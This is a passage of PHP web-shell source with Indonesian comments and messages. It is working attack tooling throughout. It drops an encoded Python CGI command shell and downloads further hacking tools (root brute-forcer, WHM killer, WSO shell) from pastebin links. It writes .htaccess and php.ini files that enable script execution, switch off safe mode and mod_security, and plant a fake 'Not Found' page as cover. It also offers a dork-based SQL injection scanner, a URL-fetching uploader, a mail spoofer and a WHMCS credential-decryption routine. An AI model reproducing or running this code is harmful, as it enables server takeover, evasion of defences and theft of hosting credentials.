  831. c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
  832. NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
  833. PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
  834. VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  835. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
  836. cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
  837. IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
  838. aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
  839. dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
  840. Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
  841. d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
  842. aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
  843. ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
  844. XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
  845. W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
  846. cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
  847. PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
  848. IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
  849. ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
  850. aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
  851. CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
  852. ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
  853. cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
  854. ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
  855. Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
  856. IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
  857. dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
  858. ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
  859. IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  860. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
  861. cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
  862. IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
  863. ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
  864. YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
  865. KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
  866. aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
  867. PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
  868. PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
  869. ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
  870. ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
  871. dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
  872. aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
  873. biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
  874. bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
  875. TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
  876. bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
  877. ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
  878. SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
  879. ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
  880. cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
  881. $file = fopen("python.izo" ,"w+");
  882. $write = fwrite ($file ,base64_decode($pythonp));
  883. fclose($file);
  884. chmod("python.izo",0755);
  885. echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
  886. </div>"; }
  887.  
  888.  
  889. ////////////////////////////
  890.  
  891. elseif(isset($_GET['x']) && ($_GET['x'] == 'whm')) {
  892. $file = file_get_contents('http://pastebin.com/raw.php?i=Bayu8UGw');
  893. $IIIIIIIIl11I = fopen('whm.php','w');
  894. fwrite($IIIIIIIIl11I,$file);
  895. fclose($IIIIIIIIl11I);
  896. print '<br>
  897. <center><blink><b>Tools siap diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="whm.php" target="_blank"> whm.php</a> ] </b></center>';
  898. }
  899.  
  900. ////////////////////////////
  901.  
  902.  
  903. elseif(isset($_GET['x']) && ($_GET['x'] == 'interface'))
  904. {
  905. ?>
  906. <form action="?y=<?php echo $pwd; ?>&amp;x=interface" method="post">
  907. <br>
  908. <?php
  909. echo "<center/>";
  910. mkdir('mysql', 0755);
  911. chdir('mysql');
  912. $akses = ".htaccess";
  913. $buka_lah = "$akses";
  914. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  915. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  916. AddType application/x-httpd-php .cpc
  917. ";
  918. fwrite ( $buka , $metin ) ;
  919. fclose ($buka);
  920. $mysql = file_get_contents('http://pastebin.com/raw.php?i=WTMcpKdT');
  921. $file = fopen("mysql.php" ,"w+");
  922. $write = fwrite ($file ,($mysql));
  923. fclose($file);
  924. chmod("mysql.php", 0644);
  925. $indexshell = fopen("index.php" ,"w+");
  926. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  927. $tulis = fwrite( $indexshell, base64_decode($data));
  928. fclose($indexshell);
  929. $safemode = fopen("php.ini" ,"w+");
  930. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  931. $tulis = fwrite( $safemode, base64_decode($data));
  932. fclose($safemode);
  933. echo "<iframe src=mysql/mysql.php width=97% height=100% frameborder=0></iframe>";
  934. }
  935.  
  936. /////////////////////
  937. elseif(isset($_GET['x']) && ($_GET['x'] == 'cpfind'))
  938. {
  939. ?>
  940. <form action="?y=<?php echo $pwd; ?>&amp;x=cpfind" method="post">
  941. <br>
  942. <?php
  943. echo "<center/>";
  944. mkdir('cpfind', 0755);
  945. chdir('cpfind');
  946. $akses = ".htaccess";
  947. $buka_lah = "$akses";
  948. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  949. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  950. AddType application/x-httpd-php .cpc
  951. ";
  952. fwrite ( $buka , $metin ) ;
  953. fclose ($buka);
  954. $cpfind = file_get_contents('http://pastebin.com/raw.php?i=xeXhp0wp');
  955. $file = fopen("cpfind.php" ,"w+");
  956. $write = fwrite ($file ,($cpfind));
  957. fclose($file);
  958. chmod("cpfind.php", 0644);
  959. $indexshell = fopen("index.php" ,"w+");
  960. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  961. $tulis = fwrite( $indexshell, base64_decode($data));
  962. fclose($indexshell);
  963. $safemode = fopen("php.ini" ,"w+");
  964. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  965. $tulis = fwrite( $safemode, base64_decode($data));
  966. fclose($safemode);
  967. echo "<iframe src=cpfind/cpfind.php width=97% height=100% frameborder=0></iframe>";
  968. }
  969. /////////////////////
  970.  
  971. elseif(isset($_GET['x']) && ($_GET['x'] == 'wso25')) {
  972. $file = file_get_contents('http://pastebin.com/raw.php?i=WzKKMmth');
  973. $IIIIIIIIl11I = fopen('css.php','w');
  974. fwrite($IIIIIIIIl11I,$file);
  975. fclose($IIIIIIIIl11I);
  976. print '<br>
  977. <center><blink><b>Tools siap diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="css.php" target="_blank"> css.php</a> ] </b></center>';
  978. }
  979.  
  980. ////////////////////
  981. elseif(isset($_GET['x']) && ($_GET['x'] == 'Cleaner')) {
  982. $file = file_get_contents('http://pastebin.com/raw.php?i=YdX7RjGE');
  983. $IIIIIIIIl11I = fopen('clean.php','w');
  984. fwrite($IIIIIIIIl11I,$file);
  985. fclose($IIIIIIIIl11I);
  986. print '<br>
  987. <center><blink><b>Klik Disini....</blink><br><br>[ <a href="clean.php" target="_blank"> clean.php</a> ] </b></center>';
  988. }
  989. ///////////////////
  990. elseif(isset($_GET['x']) && ($_GET['x'] == 'rootbrute'))
  991. {
  992. ?>
  993. <form action="?y=<?php echo $pwd; ?>&amp;x=rootbrute" method="post">
  994. <br>
  995. <?php
  996. echo "<center/>";
  997. mkdir('rootbrute', 0755);
  998. chdir('rootbrute');
  999. $akses = ".htaccess";
  1000. $buka_lah = "$akses";
  1001. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  1002. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  1003. AddType application/x-httpd-php .cpc
  1004. ";
  1005. fwrite ( $buka , $metin ) ;
  1006. fclose ($buka);
  1007. $rootbrute = file_get_contents('http://pastebin.com/raw.php?i=CT4rJiP2');
  1008. $file = fopen("rootbrute.php" ,"w+");
  1009. $write = fwrite ($file ,($rootbrute));
  1010. fclose($file);
  1011. chmod("rootbrute.php", 0644);
  1012. $indexshell = fopen("index.php" ,"w+");
  1013. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  1014. $tulis = fwrite( $indexshell, base64_decode($data));
  1015. fclose($indexshell);
  1016. $safemode = fopen("php.ini" ,"w+");
  1017. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  1018. $tulis = fwrite( $safemode, base64_decode($data));
  1019. fclose($safemode);
  1020. echo "<iframe src=rootbrute/rootbrute.php width=97% height=100% frameborder=0></iframe>";
  1021. }
  1022. ////////////////////
  1023.  
  1024. elseif(isset($_GET['x']) && ($_GET['x'] == 'whmkill'))
  1025. {
  1026. ?>
  1027. <form action="?y=<?php echo $pwd; ?>&amp;x=whmkill" method="post">
  1028. <br>
  1029. <?php
  1030. echo "<center/>";
  1031. mkdir('whmkill', 0755);
  1032. chdir('whmkill');
  1033. $akses = ".htaccess";
  1034. $buka_lah = "$akses";
  1035. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  1036. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  1037. AddType application/x-httpd-php .cpc
  1038. ";
  1039. fwrite ( $buka , $metin ) ;
  1040. fclose ($buka);
  1041. $whmkill = file_get_contents('http://pastebin.com/raw.php?i=8CmTkm3R');
  1042. $file = fopen("whmkill.php" ,"w+");
  1043. $write = fwrite ($file ,($whmkill));
  1044. fclose($file);
  1045. chmod("whmkill.php", 0644);
  1046. $indexshell = fopen("index.php" ,"w+");
  1047. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  1048. $tulis = fwrite( $indexshell, base64_decode($data));
  1049. fclose($indexshell);
  1050. $safemode = fopen("php.ini" ,"w+");
  1051. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  1052. $tulis = fwrite( $safemode, base64_decode($data));
  1053. fclose($safemode);
  1054. echo "<iframe src=whmkill/whmkill.php width=97% height=100% frameborder=0></iframe>";
  1055. }
  1056.  
  1057.  
  1058. ///////////////////
  1059. elseif(isset($_GET['x']) && ($_GET['x'] == 'bdscan'))
  1060. {
  1061. ?>
  1062. <form action="?y=<?php echo $pwd; ?>&amp;x=bdscan" method="post">
  1063. <br>
  1064. <?php
  1065. echo "<center/>";
  1066. mkdir('bdscan', 0755);
  1067. chdir('bdscan');
  1068. $akses = ".htaccess";
  1069. $buka_lah = "$akses";
  1070. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  1071. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  1072. AddType application/x-httpd-php .cpc
  1073. ";
  1074. fwrite ( $buka , $metin ) ;
  1075. fclose ($buka);
  1076. $bdscan = file_get_contents('http://pastebin.com/raw.php?i=R9SVsqbV');
  1077. $file = fopen("bdscan.php" ,"w+");
  1078. $write = fwrite ($file ,($bdscan));
  1079. fclose($file);
  1080. chmod("bdscan.php", 0644);
  1081. $indexshell = fopen("index.php" ,"w+");
  1082. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  1083. $tulis = fwrite( $indexshell, base64_decode($data));
  1084. fclose($indexshell);
  1085. $safemode = fopen("php.ini" ,"w+");
  1086. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  1087. $tulis = fwrite( $safemode, base64_decode($data));
  1088. fclose($safemode);
  1089. echo "<iframe src=bdscan/bdscan.php width=97% height=100% frameborder=0></iframe>";
  1090. }
  1091.  
  1092. /////////////////////
  1093. elseif(isset($_GET['x']) && ($_GET['x'] == 'passlist'))
  1094. {
  1095. ?>
  1096. <br><br><br>
  1097. <center><div id="Open"><a onClick="window.open('http://aerulcyber.biz/word.lst','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://pastebin.com/raw.php?i=HTH4m1DQ">Open</a></center>
  1098. <?php
  1099. }
  1100.  
  1101. /////////////////////
  1102. elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
  1103. {
  1104. ?>
  1105. <form action="?y=<?php echo $pwd; ?>&amp;x=sqli-scanner" method="post">
  1106. <?php
  1107. echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> &nbsp;&nbsp;<input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>';
  1108. ob_start();
  1109. set_time_limit(0);
  1110. if (isset($_POST['scan'])) {
  1111. $browser = $_SERVER['HTTP_USER_AGENT'];
  1112. $first = "startgoogle.startpagina.nl/index.php?q=";
  1113. $sec = "&start=";
  1114. $reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
  1115. for($id=0 ; $id<=30; $id++){
  1116. $page=$id*10;
  1117. $dork=urlencode($_POST['dork']);
  1118. $url = $first.$dork.$sec.$page;
  1119. $curl = curl_init($url);
  1120. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1121. curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
  1122. $result = curl_exec($curl);
  1123. curl_close($curl);
  1124. preg_match_all($reg,$result,$matches);
  1125. }
  1126. foreach($matches[1] as $site){
  1127. $url = preg_replace("/=/", "='", $site);
  1128. $curl=curl_init();
  1129. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  1130. curl_setopt($curl,CURLOPT_URL,$url);
  1131. curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
  1132. curl_setopt($curl,CURLOPT_TIMEOUT,'5');
  1133. $GET=curl_exec($curl);
  1134. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT *
  1135. FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
  1136. echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> &#60;-- SQLI Vuln
  1137. Found..</font></b></center>';
  1138. ob_flush();flush();
  1139. }else{
  1140. echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> &#60;-- Not Vuln</font></center>';
  1141. ob_flush();flush();
  1142. }
  1143. ob_flush();flush();
  1144. }
  1145. ob_flush();flush();
  1146. }
  1147. ob_flush();flush();
  1148. }
  1149. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
  1150. if(isset($_POST['uploadcomp'])){
  1151. if(is_uploaded_file($_FILES['file']['tmp_name'])){
  1152. $path = magicboom($_POST['path']);
  1153. $fname = $_FILES['file']['name'];
  1154. $tmp_name = $_FILES['file']['tmp_name'];
  1155. $pindah = $path.$fname;
  1156. $stat = @move_uploaded_file($tmp_name,$pindah);
  1157. if ($stat) {
  1158. $msg = "file uploaded to $pindah";
  1159. }
  1160. else $msg = "failed to upload $fname";
  1161. }
  1162. else $msg = "failed to upload $fname";
  1163. }
  1164. elseif(isset($_POST['uploadurl'])){
  1165. $pilihan = trim($_POST['pilihan']);
  1166. $wurl = trim($_POST['wurl']);
  1167. $path = magicboom($_POST['path']);
  1168. $namafile = download($pilihan,$wurl);
  1169. $pindah = $path.$namafile;
  1170. if(is_file($pindah)) {
  1171. $msg = "file uploaded to $pindah";
  1172. }
  1173. else $msg = "failed to upload $namafile";
  1174. }
  1175. ?>
  1176. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  1177. <table class="tabnet" style="width:320px;padding:0 1px;">
  1178. <tr><th colspan="2">Upload from computer</th></tr>
  1179. <tr><td colspan="2"><p style="text-align:center;"><input style="color:#FFFFFF;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
  1180. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  1181. </tr>
  1182. </table></form>
  1183. <table class="tabnet" style="width:320px;padding:0 1px;">
  1184. <tr><th colspan="2">Upload from url</th></tr>
  1185. <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  1186. <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
  1187. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  1188. <tr><td><select size="1" class="inputz" name="pilihan">
  1189. <option value="wwget">wget</option>
  1190. <option value="wlynx">lynx</option>
  1191. <option value="wfread">fread</option>
  1192. <option value="wfetch">fetch</option>
  1193. <option value="wlinks">links</option>
  1194. <option value="wget">GET</option>
  1195. <option value="wcurl">curl</option>
  1196. </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
  1197. </tr>
  1198. </table>
  1199. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  1200. <?php }
  1201.  
  1202.  
  1203.  
  1204. ///////////////////////////////////////////////////////
  1205. elseif(isset($_GET['x']) && ($_GET['x'] == 'safemode'))
  1206. {
  1207. ?>
  1208. <form action="?y=<?php echo $pwd; ?>&amp;x=safemode" method="post">
  1209.  
  1210. <?php
  1211.  
  1212. echo "<html>
  1213. <center><br><br>
  1214. <font color=#FF0000 > Nonaktifkan Safe Mode dan Clear Nonaktifkan Fungsi penggunakan php.ini </font><br>
  1215. <form method='POST' >
  1216. <font color=#FF0000 > Path to Disable : </font><input type='text' name='phpinisafemode' value='$pwd' style='color:#FF0000;background-color:#000000' /><br>
  1217. <input type='submit' name='dsmsubmit' style='color:#FF0000;background-color:#000000' value='Create PHP.INI' />
  1218. </form>
  1219. <br><br>
  1220. <font color=#FF0000 > Nonaktifkan Safe Mode dan Clear Nonaktifkan Fungsi penggunakan Htaccess </font><br>
  1221. <form method='POST' >
  1222. <font color=#FF0000 > Path to Disable : </font><input type='text' name='htaccesssafemode' style='color:#FF0000;background-color:#000000' value='$pwd' /><br>
  1223. <input type='submit' name='omssubmit' style='color:#FF0000;background-color:#000000' value='Create .HTACCESS' />
  1224. </form>";
  1225. $dirphpini = $_POST['phpinisafemode'];
  1226. $dirhtaccess = $_POST['htaccesssafemode'];
  1227. $phpininamelol = "php.ini";
  1228.  
  1229. if($_POST['omssubmit'])
  1230. {
  1231. $fse=fopen("$dirphpini.htaccess","w");
  1232. fwrite($fse,'<IfModule mod_security.c>
  1233. Sec------Engine Off
  1234. Sec------ScanPOST Off
  1235. </IfModule>');
  1236. echo "<script>alert('.htaccess has been successfully created'); hideAll();</script>";
  1237. fclose($fse);
  1238. }
  1239.  
  1240. else if ($_POST['dsmsubmit'])
  1241. {
  1242. $fse=fopen("$dirhtaccess$phpininamelol","w");
  1243. fwrite($fse,'safe_mode=OFF
  1244. disable_functions=NONE');
  1245. echo "<script>alert('php.ini has been successfully created'); hideAll();</script>";
  1246. fclose($fse);
  1247. }
  1248. }
  1249.  
  1250. ///////////////////////////////////////////////////
  1251. elseif(isset($_GET['x']) && ($_GET['x'] == 'mail'))
  1252. {
  1253. if(isset($_POST['mail_send']))
  1254. {
  1255. $mail_to = $_POST['mail_to'];
  1256. $mail_from = $_POST['mail_from'];
  1257. $mail_subject = $_POST['mail_subject'];
  1258. $mail_content = magicboom($_POST['mail_content']);
  1259. if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
  1260. { $msg = "email sent to $mail_to"; }
  1261. else $msg = "send email failed";
  1262. }
  1263. ?>
  1264. <form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
  1265. <table class="cmdbox">
  1266. <tr>
  1267. <td>
  1268. <textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea>
  1269. </td>
  1270. </tr>
  1271. <tr>
  1272. <td>
  1273. &nbsp;<input class="inputz" style="width:20%;" type="text" value="admin@somevictim.com" name="mail_to" />&nbsp; mail to
  1274. </td>
  1275. </tr>
  1276. <tr>
  1277. <td>
  1278. &nbsp;<input class="inputz" style="width:20%;" type="text" value="aerul@hackermail.com" name="mail_from" />
  1279. &nbsp; from
  1280. </td>
  1281. </tr>
  1282. <tr>
  1283. <td>
  1284. &nbsp;<input class="inputz" style="width:20%;" type="text" value="Hello!" name="mail_subject" />&nbsp; subject
  1285. </td>
  1286. </tr>
  1287. <tr>
  1288. <td>
  1289. &nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" />
  1290. </td>
  1291. </tr>
  1292. <tr>
  1293. <td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?>
  1294. </td>
  1295. </tr>
  1296. </table>
  1297. </form>
  1298. <?php
  1299. }
  1300.  
  1301. ///////////////////////////////////////////////////////////////////////////
  1302. elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcsdec'))
  1303. {
  1304. ?>
  1305. <form action="?y=<?php echo $pwd; ?>&amp;x=whmcsdec" method="post">
  1306.  
  1307. <?php
  1308.  
  1309. function decrypt ($string,$cc_encryption_hash)
  1310. {
  1311. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  1312. $hash_key = _hash ($key);
  1313. $hash_length = strlen ($hash_key);
  1314. $string = base64_decode ($string);
  1315. $tmp_iv = substr ($string, 0, $hash_length);
  1316. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  1317. $iv = $out = '';
  1318. $c = 0;
  1319. while ($c < $hash_length)
  1320. {
  1321. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  1322. ++$c;
  1323. }
  1324. $key = $iv;
  1325. $c = 0;
  1326. while ($c < strlen ($string))
  1327. {
